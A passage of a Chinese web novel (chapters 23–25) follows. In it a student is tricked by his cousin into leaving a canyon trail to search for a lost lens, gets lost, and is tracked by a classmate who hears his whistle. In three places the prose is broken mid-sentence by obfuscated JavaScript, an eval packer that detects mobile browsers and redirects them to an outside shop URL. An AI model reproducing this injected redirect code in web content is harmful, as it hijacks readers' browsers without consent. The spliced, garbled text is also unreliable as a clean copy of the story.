方舟坐得远,不幸,坐在他们前面的就是方盏。 很快,沈余离感到有一股风迎面而来,然后那道由远而近的脚步声停在离她不远的地方,紧接着是一道惊喜的:“哥?!” 她听到旁边的宋未海有些不自然地回应:“啊、啊哈哈……你好,好巧啊。” “是啊,好巧。”沈余离听到有人把椅子拉开坐下,然后继续紧追不舍,“姨妈跟我说了,你也在这儿读书,没想到你也在这个班。” 宋未海的语气听起来已经有点想逃了:“嗯。” “哎不过,我怕我有点不适应这里。”方盏看起来有些为难地笑了一下,“我之前是因为中考失利才没上最好的省重点,不过在原来学校里一直名列前茅的——你记不记得小时候,姨妈当时还拿你和我做比较,让你多和我学习呢?哎不过,我觉得现在哥你肯定也成长了不少。但是你知道吗,就我不知道为什么,我的老师和同学在听说我要转到这里来以后,都觉得很可惜,就说我其实有点降级转学了…….哎哥哥,你们这儿重本率怎么样啊?我们俩一起加油,你争取和我考上同一所——” 他的话耗尽了沈余离的最后一点耐心,少女有些不耐烦地换了个姿势睡觉,冷冷开口:“闭嘴。” 23. 千岩万壑|一 . 方盏听到这句话,怔了一下,随即转头看向沈余离。 沈余离察觉到了他的目光,缓缓地抬起头,但是并没有给方盏一个正眼,而是直接转头看向宋未海:“下节什么课?” “啊、哦。”宋未海刚刚被方盏的话堵得一愣一愣的,一下子还没反应过来,“……语文课吧?” 方盏见自己被无视了,一向从容的面色上出现了淡淡的不悦,但很快被他掩盖掉了:“……同学。” 他在叫沈余离,但沈余离没搭理他。 方盏勉强挂着笑,继续道:“我们是不是有什么误会啊,其实我没有恶意……” “哎。” 方盏身边的同桌突然拽了拽他,小声嘟囔道:“算了。” 方盏的脸上依然保持着微笑,佯装好奇地问道:“为什么?” “……总之就是…….算了。”沈余离听到前面的同学把方盏往前拉了拉,同时刻意压低了声音,即使这样的音量也足以让她听得一清二楚,“不太好惹。” 方盏听到这句话,回过头,意味深长地瞥了沈余离一眼,然后又默默地转回去。 沈余离依然没有回视他,也没有对新同学的评价做出任何反应。 比起以前被指指点点,她对自己现在这个新人设还算满意,至少短期内不会有人再来造一个无聊的谣。 . 果不其然,沈余离明显的冷漠让方盏再没尝试找她说过什么,甚至连和宋未海交流的频率都减少了,为此,沈余离还收获到了宋未海无数次感谢的目光。 但是这样表面的安宁并没有维持多久,在周五最后一节课下课时,宋未海接到了方筱女士的电话。 那个时候教室里的人已经跑没影儿了,只有沈余离正等着宋未海打完电话一块儿接妹妹,三个人再一起吃个饭,一道略显严厉的女声从听筒里传来,一字一句都十分清楚地落在两人耳朵里:“小船,你这周六的课我给你调了,小盏和舟舟刚来蓬山市,你要么带他出去玩儿一圈,我听说他喜欢骑车爬山什么的,正好我们周边……不是有个大峡谷还挺出名的?周围有山有水的,你带他去爬爬好了,你也锻炼一下,别每天宅在家里看手机,到时候让那边的师傅带你们过山路进去。” 宋未海:“……啊?” 对面的女人似乎没有听出他的为难,语气不容置疑:“反正这周六我特意给你空出来的,你把小雪一块儿带上,我刚还听说你和小盏在一个班,反正你俩要是太久没见尴尬的话,可以再带一两个班里的同学,就这样——” “哎——等等!”宋未海犹豫了片刻,不禁出声制止,“我——” “没什么我,就这么定了,我还忙,你妹英语又给我考了个倒数第一,我要和她老师沟通一下。”对面干脆道,“挂了。” 忙音传来。 宋未海:“……” 沈余离听完全程,略微无奈地低头笑笑,笑容很淡,看不出其中深意。 宋未海接完电话,一脸生无可恋地摊在椅子上,仿佛刚刚不是接了个电话,而是被宣告死刑。 沈余离在一旁慢吞吞地整理书包,边清点作业边道:“如果你需要的话,我可以陪你。” “……”宋未海怔了一下,“诶?” “盲校周末也有托管,我可以提前拜托那里的老师照顾小祈,如果你觉得应付他非常麻烦,我或许可以帮忙。”沈余离平静道,“不过如果你不希望这样,可以直接拒绝我。” “不是的!小鱼你一直在为我着想,我很开心。”宋未海的耳根微微发红,音量骤然提高了不少,“但是、但是因为刚才的电话你也听到了,我怕这样直接问你会显得你是顺带的,这样的话就很不尊重你的感受了……” 沈余离耸了耸肩,随意道:“我不会的,你放心。” 她话音刚落,突然感到宋未海面如死灰的脸庞又恢复了一丝生气,对面的少年小心翼翼道:“那这样的话……” “再说了。”沈余离偏头,微微勾唇,“喜欢爬山的又不止他一个。” 宋未海听到这话,稍稍惊讶:“什么时候培养的这个爱好?” 沈余离笑了笑:“很久很久以前培养起来的。” . 蓬山市是一座四面环山的县城,地方虽然小,但是环境却很不错,周围有几座山被当地文旅局建设成了旅游景区,其中有一座大峡谷非常有名,听说站在山顶眺望数条飞流直下的瀑布无比震撼,宋未海听取了妈妈的意见,就挑了这个地点,带上了方盏兄妹、宋无霜,还有沈余离。 沈余离、宋未海和宋无霜先到的,紧接着就是方舟与方盏,方舟和她哥哥的性格截然不同,安静、冷淡、甚至称得上有些阴郁。 沈余离冲她招了下手,方舟也轻轻地点了点头,算是回应。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你没有惹我,只是你的表达方式我很不喜欢。”沈余离难得正视了这种明里暗里的挑拨,回答得十分从容,“你的表达在暗中不断展现自己的优越与他人的不堪,没有人跟你说过这种表达方式容易被打吗?” 沈余离懒得和他假笑,她的表情看起来已经没有任何温度可言,她就这么无声地注视着对面,空气中已悄然擦出了愈发浓烈的火药味。 沈余离一向不把这种家伙放在心上,但是这一次,她的心里突然升起了某种预感。 一种很强烈的不祥预感。 24. 千岩万壑|二 . 五个人没有坐景区索道,直接从游客的步行道出发,沈余离一开始以为自己背的东西已经比较多了,她没想到方盏能比她更夸张,不仅带了一堆花里胡哨的装备,还扛着一台相机和一个替换的镜头,跟在几个人身后边走边拍。 几个人里沈余离和宋无霜的体力是最好的,方舟紧随其后,方盏因为忙着拍照一直远远地落在后面,宋未海就明显不太行了,才走了一小段路就脸色煞白,一直扶着墙边喘气儿。 宋无霜在宋未海第五次请求修整片刻后终于忍不住吐槽:“你行不行啊哥?平时太缺乏锻炼了吧。” 宋未海默默地靠着墙边蹲下,额头上沁出了细细密密的汗珠:“我……你不要虐待老年人啊。” 方盏跟上队伍的步伐,慢条斯理地合上镜头盖,微笑着俯身拍着宋未海的背部替他顺气:“没事儿,大家也都先别急,如果你们想先上去……那要么先走?我没关系的,我可以留下来陪着哥。” 沈余离回神,盯着满面善意的方盏,又看了看呼吸急促的宋未海,轻轻皱了皱眉:“体力透支不是开玩笑,如果实在撑不住,我们就下去坐缆车。” 方盏眉梢一挑,紧接着十分为难道:“啊?我还蛮想看看沿途风景的,而且确实期待了很久……不过哥,你千万不要有压力!如果非常难受的话,我们就下去,我下次也可以自己来,没关系的。” 宋未海还双手撑着膝盖,肩膀频率极高地一起一伏,双眼紧紧地闭着,看起来还没有调整过来。 “喂。”这下就连急性子的宋无霜都看出了他的不对,跳着几阶台阶走下来,就连语气都从调侃转为了认真,“哥,你要真不行就算了,我前面开玩笑的,别怄气。” 宋未海艰难地支起半个身子,摆了摆手,哑声道:“没、没事,我就是太久不锻炼了。” 其实并非没事。 宋未海能感觉到一股一股的血液在直冲脑门,不断麻痹和钝化着他的各种感官,原来被磨得生疼的脚底突然变得轻飘飘的,脚下坚硬的山石也仿佛化为了四处奔流的水流,整个人都觉得天旋地转,只有喉间那股灼烧强烈的痛感无比清晰。 ——啪。 一股冰凉的感觉贯穿了他摇摇欲坠的感觉,轻轻地拍在了他的脖颈上。 宋未海下意识换了个姿势,视野因为骤然上涌的血液而布满了光斑,他险些身体一软摔下去,但是有一只手及时地扯了他一把。 他看不太清楚,整个人意识已经开始渐趋模糊,他只能感受到有什么人在向他靠近——然后是下蹲时布料摩挲的沙沙声、某种独特的气息混着泥土的味道冲进他的鼻腔、再是一滴汗珠打湿了他的手背、紧接着一绺柔软的发丝掠过他的脸庞。 那样细微的痒意转瞬即逝,却好像一直清楚地停留在他的脸侧。 宋未海看不到,只是下意识地开口,语气却没有任何犹豫:“小鱼……” 沈余离半蹲在他的身前,眼神很平静:“你觉得你还可以继续吗?” “……”宋未海张了张口,欲言又止。 “没事。”沈余离淡淡道,“只说你真正的感受就好。” “……”相比于沈余离的冷静,宋未海觉得自己这样站都站不稳的姿态实在是太狼狈了,她越是云淡风轻,他就越是凌乱不堪,两个人虽然看起来站在一起面对了很多事情,但宋未海却总觉得自己在仰望她的背影——她的坦荡、她的坚定、她的毫不畏惧就像一面光棱镜,折射出了他的懦弱、他的犹疑、他的一切摇摆不定,随着两人关系的拉近,受宠若惊的同时自卑也在不断膨胀,就像班克森林中的夜幽蓝翅蝶,漂亮的外表下暗藏着带着剧毒的针尖,毒素不断蔓延过他体内的每一根血管,直至将他的意识彻底吞噬—— “我……我没事的。”宋未海勉强挤出笑容,“我休息一会儿就好,你先上去吧。” 他不想再那么卑微了,这样的想法在那一刻疯长成了张牙舞爪的黑影,完完全全地笼罩了他身体上的任何痛苦。 “……”沈余离的表情没有变化,只是静静地直视他,沉默须臾,随即道,“好。” 方盏顺着一起蹲下,替宋未海顺气:“那我留下来等等哥哥吧,正好在附近拍拍照。” 宋未海想着自己就是单单中暑,休息片刻就好了,方盏虽然善于膈应他,但毕竟不会真干什么杀人放火的事情,也默许了。 沈余离垂眸,不知道在想什么,她没说话,但手上动作却没停,往宋未海的腰间系了哨子。 “虽然是景区,但是山里信号还是比较弱。”沈余离道,“遇到危险的时候,就吹哨子。” 宋未海闻言,低头扯了下哨子,半信半疑道:“你别太担心小鱼,我差不多缓一会儿就好了,再说景区里只要不乱跑也没事的。而且……这东西真的会有用吗?吹响它也不会怎么样吧?” 沈余离几乎是没有任何迟疑地开口:“我会找到你。” 宋未海一怔。 “既然你说没事,那就相信你的感觉。”沈余离起身,拍了拍身上的灰尘,转头看向宋无霜和方舟,“我们先走吧。” “你真没事?你确定?”宋无霜不放心,凑近宋未海反复观察,“我警告你啊,打肿脸充胖子的话,这种情况下小心小命丢了!” “我没事。”宋未海的视觉差不多恢复了,装作轻松地拍掉宋无霜的手,“你哥哪有这么脆皮,我歇一会儿就跟过来了。” 听到他这么坚决,宋无霜也不好再质疑,一边嘟囔着“明明就有这么脆皮”,一边不情不愿地跟沈余离和方舟抱怨,方舟在一旁静静地听,始终一言不发,而沈余离则轻拍着她的肩膀,时不时安慰几句。 看着两人走远,方盏也缓缓从地上站起来,笑眯眯道:“那……哥你先休息?我去附近拍一拍,附近的景色都蛮好看的。” 想着自己的状态逐渐恢复,方盏走远点也省得他应付,宋未海点了点头,甚至有一种如释重负的感觉。 他慢慢地扶着山壁站起来,在路边设置的长椅上坐下,少年的呼吸逐渐变得平缓,静静地看着面前茂密的树丛和无边无际的天空,方才紧绷的神经舒缓下来,听着自己胸膛中还有些过快的心跳声,宋未海莫名感觉到有些迷茫。 冷风穿过阶梯一路向下,成片的树叶极有规律地摇摆着,天空下的云停滞在原地,这样的场景在他眼前,就好像时间从来都没有流动过一样。 宋未海低下头,有些自嘲地扯了扯嘴角,不止是时间静止这样的错觉,就连他自己都毫无长进,明明是一个已经在社会里摸爬滚打许多年的成年人,当他重新回到校园,他却觉得自己还像那个曾经懦弱又沉默的宋未海一样,曾经吃亏后的委屈与后悔并没有战胜他下意识的恐惧,退缩和避让仿佛生来就编写在他的基因中,无论怎样努力地想要去改变,心底最本能、最深刻的害怕还是会控制着他妥协。 思绪随着风飘去远方,宋未海回想起自己曾经一直在思考的问题,像他这样不爱社交也不喜欢接触别人的人,究竟为什么会在学生时代对于沈余离的印象如此深刻,以至于被他认为成了像暗恋一样的情感。 等后来他再长大一点的时候,他似乎对这个问题有了一点头绪——当时在流言的巨浪中他得知了她的名字,他觉得他们两个虽然素未谋面,但隐约中又一些相似的地方,外界的压力像一层接着一层不断起伏的浪涛,在他们每次想要张口呐喊甚至呼吸时无情地冲进他们的口鼻,只不过沈余离当时的困境更为直接,直接把宋未海曾经那些若隐若现的感觉搬到了台面上来,让所有人被迫直视它的残忍与丑陋。 在这样他自以为相似的心境中,宋未海突然对当时这个姑娘产生了一种惺惺相惜的感觉。 但这样的认知,在他们后来某次遇见的时候,生出了裂痕。 冬天的早操学校组织了集体跑操,学生们站在队列里的时候总忍不住说话,在无数碎片的交谈中,旁听的宋未海终于得以把名字和脸对上了,但他还没来得及细看,哨声响起,许多脚步声随着节奏响起,当时天气很冷,宋未海能瞥见周围同学哈出来的寒气,冬季的冲锋校服摩擦出刺耳的声音,鼻尖冻得发痛,一排又紧紧挨着一排,让人觉得拥挤得要窒息。 当时不断地有学生脱离队伍系鞋带,再在催促声中跑回班级队伍,沈余离大概也是因为鞋带散了离队,当她重新跑回班级队伍时,经过了宋未海的班级,周围窃窃私语声突然增多的刹那宋未海转头看到她—— 冲锋衣拉到最顶,遮住了嘴,睫毛低垂,脚步很轻,阳光落在她身上,没有任何一点的暖意。 宋未海只看了那一眼,她的发色和眼睛都很特别,在一片灰色的校服里显得特别扎眼,但那一刻蜂拥在她身边的好像并不是同学,而是用无止尽、源源不断的流言蜚语。 那一刻某种熟悉又陌生的感觉冲上心头,他好难过,好像是为了她,又是为了自己。 他当时觉得他们好像,但又好像没那么相同。宋未海一直觉得如果这事落在自己头上,他会立马把自己关起来,拒绝和任何人见面的可能,也就拒绝了被任何人伤害的可能,沈余离当时居然能够像无事发生一样来上学,就像她跑步的姿态一样,轻盈却也从未止步。 那时她多出来的那一份勇敢吸引着他,即使只是不停下脚步的勇气。 “——哥?” 方盏的声音把宋未海从思绪中拉回来,他被吓得一激灵,转头看向方盏,对方的神情像是有些难隐之言,让他有了些不好的预感:“怎么了?” 方盏笑了笑,关切道:“你身体怎么样了?休息得差不多了吧?” “差不多了。”宋未海实话实说,“你拍好了是吗?那我们上去找她们吧。” “不……不是。”方盏一改以往笑吟吟的神色,眉尾下瞥,显得有些可怜,“就是……我当时弯腰的时候相机包拉链没拉……有东西掉出来了,后来发现丢了个镜头,那个克不便宜啊。” “啊?!”宋未海听到这话,瞳孔骤然紧缩,“怎么会?要不沿途找找?这里就这么一条路。” “不、不是,哥。”方盏拍了拍他的肩,微微喘气,“那个镜头掉的比较远,好像掉到山更里面去了,我刚找了很久,现在有些体力不支了……” 方盏低头,咬了咬唇,一脸祈求地说出了最终目的:“哥,如果你觉得体力恢复了,帮我去找找好不好?” “……”宋未海心中咯噔一下,下意识地想要推脱,“步行道是景区开发出来给游客走的,这里海拔比较高……步行道之外,是不是不太安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062690|195100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全啊?” “不会的,哥!”方盏的音量突然提高,似乎很担心宋未海拒绝,眼眶里泪水渐渐蓄满,像是下一秒就要掉下来,“既然开发了景区,就说明他们对附近的安全状况进行过评估,不管怎么样不会有野兽什么的……哥,这是我离开原来学校时最好的朋友送给我的礼物,我真的不能丢掉它,求求你了,哥……小姨不是说我们要互相帮助吗,肯定就在步行道以外不远的地方。” 宋未海抿着嘴,想要拒绝的情感在他心里愈发强烈,拒绝的说辞已经打了好几遍的腹稿,可一旦他想说出口时,就似乎存在着某种不可抗力,阻止他将拒绝的想法说出口。 “哥,我求求你了。”一滴泪珠滚落,方盏急得抓住他的袖子,“我们是一家人,你肯定不会不救的对不对,对你没什么坏处,不会有危险的,而且……” 宋未海有些痛苦地闭了闭眼睛,心脏像被两只手抓住往相反的方向扯,下一秒就要被撕裂成两半, 方盏顿了顿,随即颤抖道:“如果沈同学知道,也一定会觉得你重情重义,很勇敢的。” 心中某个缺口被不偏不倚地点破,宋未海下意识一抖,睁开眼睛。 这句话像是电流在几秒之内疾驰着穿过电缆,最后直冲着点亮了一个陈旧已久的灯芯,灯芯次啦次啦地忽明忽暗,却烫中了他心脏中的某一块缺口。 沈余离的背影在他的脑海中重现,如此挺拔地永远站在那里,仿佛可以挡住这世间任何千变万化的风雨。 而宋未海总是觉得自己则永远站在她的身影之下,永远在慌乱无措和多思焦虑中紧紧地跟住他,他能感受到,那是一种愈发强烈的依赖,但就像生长的植物根茎总是伴随着尖刺,那当中无法离开的感觉在无数事情中不断疯长时,他能感受到自己的自卑感越来越清晰。 觉得不如她勇敢、觉得不如她果断、觉得不如她坦荡、觉得不如她独立。 这些对比之下扭捏又拧巴的清晰不断积累,到最后宛如一座高耸雪山上厚厚的积雪,它们沉默地附着在沿途的土地上,几乎是不由分说地将所有的一切都深埋在冰雪之下,然后一言不发地注视着面前世界的万物轮转。 它看起来平静到甚至有些死寂,但只需要外界的一声啼鸣,原本紧密连接的数亿雪花便会分散、瓦解、崩塌,紧接着白色雪雾和倾泻而下的雪自山顶席卷而下,无声却又气势汹汹地摧毁了一切屹立的生机。 沈余离那双眼睛占据了他的大脑,那双眼睛的神色波澜不惊,像是在无时无地都永永远远地注视着他。 他总把最不安的一面展现在她面前,她永远用最从容的语气安抚着他……那如果有一天他真的变得勇敢了,真的能够独自解决问题了,那么沈余离是否会看到他身上的这些变化,那是否又会对他刮目相看? 那这样的话,被雪崩摧残之后的废墟,会不会有一丝重建的可能? 而且,现在的方盏毕竟只是个孩子……应该还远不如他长大时那么恶毒吧? 方盏见他在原地犹豫不决,心中一丝厌弃和烦躁闪过,一咬牙,继续追击道:“她一定会对你刮目相看的。” 最后一点所剩无几的忧虑散去,冲动此时占据上风,宋未海道:“我去,你哪里掉的?” “??!太好了哥!”方盏一听宋未海愿意去,此刻激动得快要跳起来,急忙抓着他往回走,“就在那一片!不过这里有点斜坡,它体积比较小,可能往深处滚了,需要你走得远一点,不过放心哥,我给你看着呢!谢谢你哥!沈同学回来听到了,一定会很佩服很仰慕你的。” 他的话像连珠炮单似的一遍遍冲击着宋未海的耳膜,刚刚消散的眩晕感似乎又在此时卷土重来,宋未海深吸了口气,掐了下自己强迫自己冷静,转头问:“就这里?” “嗯!”方盏频频点头,“你往下面走一点就好了,放心哥,不会有事的。” “……”宋未海重重地吐出了一口气,像是终于下定了某种决心,“那我去了。” 话音落下,宋未海一手扶着树干,重心下移,另一只脚小心翼翼地踩进草丛,树叶被踩踏时的沙沙声接连响起,宋未海忍住草丛刮过身上的不适,不断拿手拨开周围的植物,同时留意着脚下,想看看有没有方盏的镜头,宋未海一路摸着树干向下走去,希望展现和沈余离一样的勇敢的想法已经成为了他脑海里唯一的念头,甚至连方盏越来越远的加油声都没有察觉—— ——就这样,宋未海不断向下走去,直到身影消失在步行道游客能够目之所及的范围内。 . “不是吧两位大哥?我们都登顶了你们还原地踏步啊?”宋无霜的声音无比嘹亮,“早说了,不行就下山,非得逞英雄。” 两个小时过去,太阳已经有落山的趋势,周围的天光也渐渐隐没,沈余离三人沿着原路朝下走,发现在最后停下的地方发现了方盏。 “……”一直沉默的方舟终于说话了,她盯着方盏,眼神却很冰冷,“你们一直在原地?” “嗯,对。”方盏点了点头,“哥后面还是喘得厉害,所以我就让他别逞强,在这儿休息了……舟舟你玩开心了就好,我没关系的。” “不对。”沈余离环绕一周,发现了不对劲,冷冷地质问方盏,“宋未海人呢?” 25. 千岩万壑|三 . 枯枝丛生,风声猎猎。 沈余离上前几步,一把揪住方盏的领子,突如其来的巨大力道把方盏勒得一个踉跄,脖子被布料边缘紧圈的窒息感让他的面部顷刻涨红,干呕的声音不受控制地溢出来,口水呛进他的气管,让方盏觉得喉咙又痒又涩。 “我问最后一遍。”沈余离垂下眼,眼底微微泛红,一贯平静的声线因为愤怒而轻轻颤抖,“宋未海呢?” “他……“方盏被迫仰起头,表情痛苦地拍了拍沈余离,示意她让他放开。 “对啊?”宋无霜紧跟其后,步步紧逼,“我哥呢?” “不是……咳咳,小雪,还有沈同学,你们不能先入为主地恶意揣测我呀。”方盏整了整被拽皱的衣领,咽了一口唾沫,眼神像一旁偏移,“哥先下去了啊,他太不舒服了,可能给你们打过电话,但这里信号太差了,所以收不到吧。” 沈余离眯了眯眼睛,语气里不带任何犹疑:“你在说谎。” 方盏摊开手,无辜道:“沈同学,我知道你对我有意见,但是凡事要拿出证据啊。” “……”沈余离沉默地盯着他看了一会儿,目光下瞥,正巧看到方盏的相机包,淡淡道,“你的另一个镜头呢?” 方盏听到这句话,原本微微勾起的嘴角突然一顿,随即压下眉,“……什么意思?” “你身后那片草丛很高,但是中间有一部分的高度明显低于其他,上面也有很明显的折痕,说明是被人踩过了。”沈余离口气淡漠,“不用逼着你亲口告诉我实话,你镜头丢了,让他去给你捡了是吧?” 方盏咬紧唇,一向柔和无辜的神情中显出了一丝狰狞,像是扎破布料的刀尖,终于露出了一点刀光:“沈余离……你当你写小说呢,这么恶意揣测是不是太过分了?” “小雪,你们下去找宋未海,找到了的话,就给我发消息。”沈余离不再搭理他,反而转向宋无霜,淡淡道,“如果找不到人,就立马报警。” “……”宋无霜听到沈余离的话,撩起眼皮,目光阴沉地瞥了方盏一眼,手背上青筋一突,紧接着闷闷开口,“好。” 风穿过高大的树丛,带动树叶的声音如同沉重的低吼,被踩折的几株野草紧紧贴着地面,只有草尖微微翘起,在枯黄高大的杂草中,就像是掩体背后悲泣的亡魂,正蛰伏于深处凝视着他。 三个姑娘都没有说话,某种莫名的压迫感却从四面八方包抄了他,就连人类赖以生存的氧气在这一刻仿佛都成为了无形的巨石,堵在他的心口,让他连带着一呼一吸都乱了节奏。 反驳和推卸责任是方盏与生俱来的本能:“喂,你们不会真的觉得——” 沈余离和宋无霜同时开口:“闭嘴。” 宋无霜脸色冷得令人胆颤,她一手挎着包,另一只手不轻不重地拧住方盏的胳膊,半只脚踏下台阶,临走前,回首看了眼沈余离。 她第一次见到她哥的这个同学时,沈余离的身后是阑珊灯火,当时车子驶过,五彩的色块,都化作她身后飞掠的光影。 这一次她依旧是这样看着沈余离,不过身后不再是往日光怪陆离的城市,她身后是重叠交错的高山,放眼望去几乎没有任何绿色的植被作为覆盖,只剩下坚硬粗糙的岩体、棱角分明的峰峦、张牙舞爪的沟壑,峡谷的激流倾泻而下,只有瀑布的咆哮声久久回荡于山野。 她站在台阶上,居高临下地审视着方盏,而荒芜与巍峨,在她的身后拔地而起。 只是即便面对着这样的情境,沈余离还是一样的淡定从容,她那般姿态像是生灵诞生之处漂浮于大洋的陆地板块,无论周身有着怎样的惊涛骇浪,当与她对视时,总是能令人感到扎根于土地般安稳的力量。 宋无霜别过头,努力克制着语气中的愤怒:“……那就这么办,我们下去找人了。” “注意安全。”沈余离平静道,“事情还有转机。” . 在一个半小时之后,沈余离等来了宋无霜的微信。 [雪花emoji]:姐姐,我们找过了,没找到人,已经报警了。 [fish]:好,那你们等警察来,不用管我。 [雪花emoji]:你要干什么? [fish]:我会保护好自己,放心。 沈余离看着屏幕上的对话,眼神一按,咔哒一下锁掉了手机。 虽然消息发出去的时候,旁边的小圆圈转了好一会儿,但是好歹是发出去了,而且宋无霜在山底发送的消息她也收到了。 ——这就说明方盏说的关于信号的说辞全都是扯淡。 沈余离扯了下唇角,她坐在来时的台阶上,耳旁是瀑布奔涌时高速水流彼此撞击的哗啦声。 沈余离静静地听了会儿,不知道在想什么,她沉默半晌,随即站起身,从身后的背包里掏出几条红布,抽了其中一条系在身旁的树干上,随即顺着野草被踩踏的痕迹,一点点朝着深处走去。 沈余离一手扶着树干,步伐谨慎矫捷,她每走一段路就会系一块红布,但随着她越往深处走,杂草就越高,宋未海走过时留下的痕迹也越发地难以辨认,沈余离的脸被长而尖细的野草扎得生疼,她的手指指节处还有几块红肿的疙瘩块,看起来像是在穿行过程中被什么不知名的小虫咬了。 但沈余离没搭理这些,只是面无表情地拨开杂草,指南针的指针随着她的行径而不断晃动,沈余离不断地朝下行走,偶尔回头看看自己一路做的标记,身后的草丛与枯枝纵横交错,茂密得占据了她的大半视野,她只能勉强从间隙中观察到天色渐暗,只有一路下来系着的鲜红的布条,在风中哗啦飞扬,成为了这一片死寂里唯一的亮色。 沈余离微微喘气,打开手电筒,照着地面。 这里地势险峻,并没有野兽出没,因此并不会有其他的脚印来干扰沈余离的判断,而且宋未海的鞋底一定带有防滑的纹理,虽然半人高的野草和各种杂乱不堪的枯枝烂叶很容易掩盖人走过的痕迹,但是如果仔细地辨认,会发现被踩过的草有着很独特的断裂痕迹,而且一般都是一簇一簇地弯折,这些藏身于荒山野岭间的蛛丝马迹,都在暗中无声地指引着沈余离。 周围的环境太过相似,等沈余离走了快二十分钟以后,她再回头,除了一望无际的树丛和遮天蔽日的枝叶,沈余离已经无法再看到任何能够让游客停留的步行道或者是驿站了,如果不是沈余离身后飞扬的红布条,可能她早也已经迷失在这场天然的迷宫之中。 彼时太阳逐渐落山,金黄的光掠过层层叠叠的草丛,周身植物随风晃动,就像海中央起伏不断的波浪。 无数细小的飞虫在光点下三五成群地低飞,沈余离继续打着手电筒,仔细地搜寻宋未海的痕迹,她发现到一定距离时,他的脚印就开始有原地打转的迹象,有几株草被反复踩过好几遍,但是脚印向四面延伸,但是很杂乱无章,看来是尝试沿着记忆中的路线返回无果,最终在这片山林里迷了路。 “……”沈余离盯着他的脚印,轻轻地骂了一句,“真是愣头青。” 她叹了口气,低头继续寻找,日落的光芒在指南针的金属边沿折射出刺眼的光点,太阳落山时最后的余晖在高挑的草丛中渗透,植物锋利冷硬的边缘摩擦过她的衣服,沈余离已经听不到任何一点旅客讲话的声音,只能听到瀑布沉闷的声响,像是不会疲倦一样,从十分遥远的地方隐隐传来。 若隐若现的水声是沈余离能够听到的全部声音,单调、旷远、永无止境。 ——直到一点突兀横插而入,像齿轮中卡进的一颗石子。 很轻。 很短促。 转瞬即逝。 沈余离眉间一紧。 一秒钟——只有一秒钟,刚刚有什么东西像是梦一样的,尖锐凌厉,疾驰而过。 沈余离掐了自己一把,即刻的痛感让她能感受到此时的真实。 这不是梦。 沈余离深深地吸了一口气,一向平稳的心跳开始隐隐加速,胸腔中某种不断循环的节奏,突然衍生出了新的鼓点韵律。 她知道,这不是梦。 ——在远方气势汹汹的水声里,还夹杂着什么其他的东西。 那一刻沈余离屏住呼吸,连动作都在顷刻间静止。 金光烧得一路通天,冷风拂过漫山遍野,她的鞋底陷在泥土之中,某一道声音从很远很远的地方,逆流而上过湍急的河水、遥遥飞跃过陡峭的山坡、乘风穿透过凌乱的草丛,像是一支呼啸的快箭,正中沈余离的心底。 ——那是一声哨声,来自于峡谷的谷底。 . 灼热、干涩、酸痛。 巨大的不适感一点点侵蚀着宋未海的全身,他走得太久了,连脚底板被石路磨得生疼的感觉都被钝化了,只剩下胸腔中尖锐的痛处,和喉咙里被烈火烧过一般的难耐,提醒着宋未海他还活着。 他找镜头时太过于专注了,以至于当宋未海猛然抬头时,身边早就是一模一样、毫无秩序的植被,他曾经尝试着按照记忆中的路线返回,却发现东西南北的每一个方向都好像都带着点儿微妙的熟悉感,等他揣着一丝希望,一路拽着杂草不断向上奔时,却又会因眼前陌生的新路线感到绝望。 宋未海觉得自己像被困在一条单曲循环的音阶里,每当加速的旋律不断攀升向高峰,又会随着某个音符的结束重回至低音的区域。 他在反复地经历着相似的场景,但是宋未海深知自己的体力,长时间的跋涉将他的体力一点点抽离,宋未海知道自己在爬到山顶前估计就会体力耗尽,现在的天气愈发寒冷,他再这么乱跑下去,在救援的人找到他之前,他就会因为失温而面对着更大的风险。 宋未海喘了口气,喝光了瓶子里的最后一口水。 他现在没办法朝上走,太容易迷路和碰到危险,现在放眼望去贬低只有毫无生气的黄绿色,他视野最下方的峡谷已经成为了此时唯一的路标。 地势低平、有水流、掩体很少。 宋未海环顾四周,峡谷那一片并非断崖,整体的坡度看起来较缓,他的攀登经验不足,在这样毫无退路的情况下,呆在原地总是令他感到莫名的不安,在这样慌乱与无措的共同冲击之下,宋未海鬼使神差地迈出脚步,不断向下走去。 …… 宋未海没有过很多攀爬的经验,如果非要说的话,只能算得上是四肢协调。 他之前听过很多迷路在山里的新闻,很多人最后都是因为慌不择路、坠崖而亡,所以宋未海不敢走得太快,只敢降低重心,一手扒住石块,另一只脚颤颤巍巍地伸出去试探,直到确定下方是安全的,才有勇气进一步向下。 他运气还算好,一路上虽然走得磕磕绊绊,但是好在没碰上什么悬崖峭壁,宋未海只是身上被蹭了几下,剩下没有什么大碍。 他一手扶着岩壁,短促地喘了几口气,原本就体力不支,这么几番折腾下来,宋未海更是觉得浑身血液都在叫嚣着抗议,体力消耗毫无疑问已经抵达阈值,狂跳的心脏处不断传来刺痛感,他口干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062691|195100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舌燥,下意识地要去咽吐沫,却觉得嗓子眼儿又辣又涩。 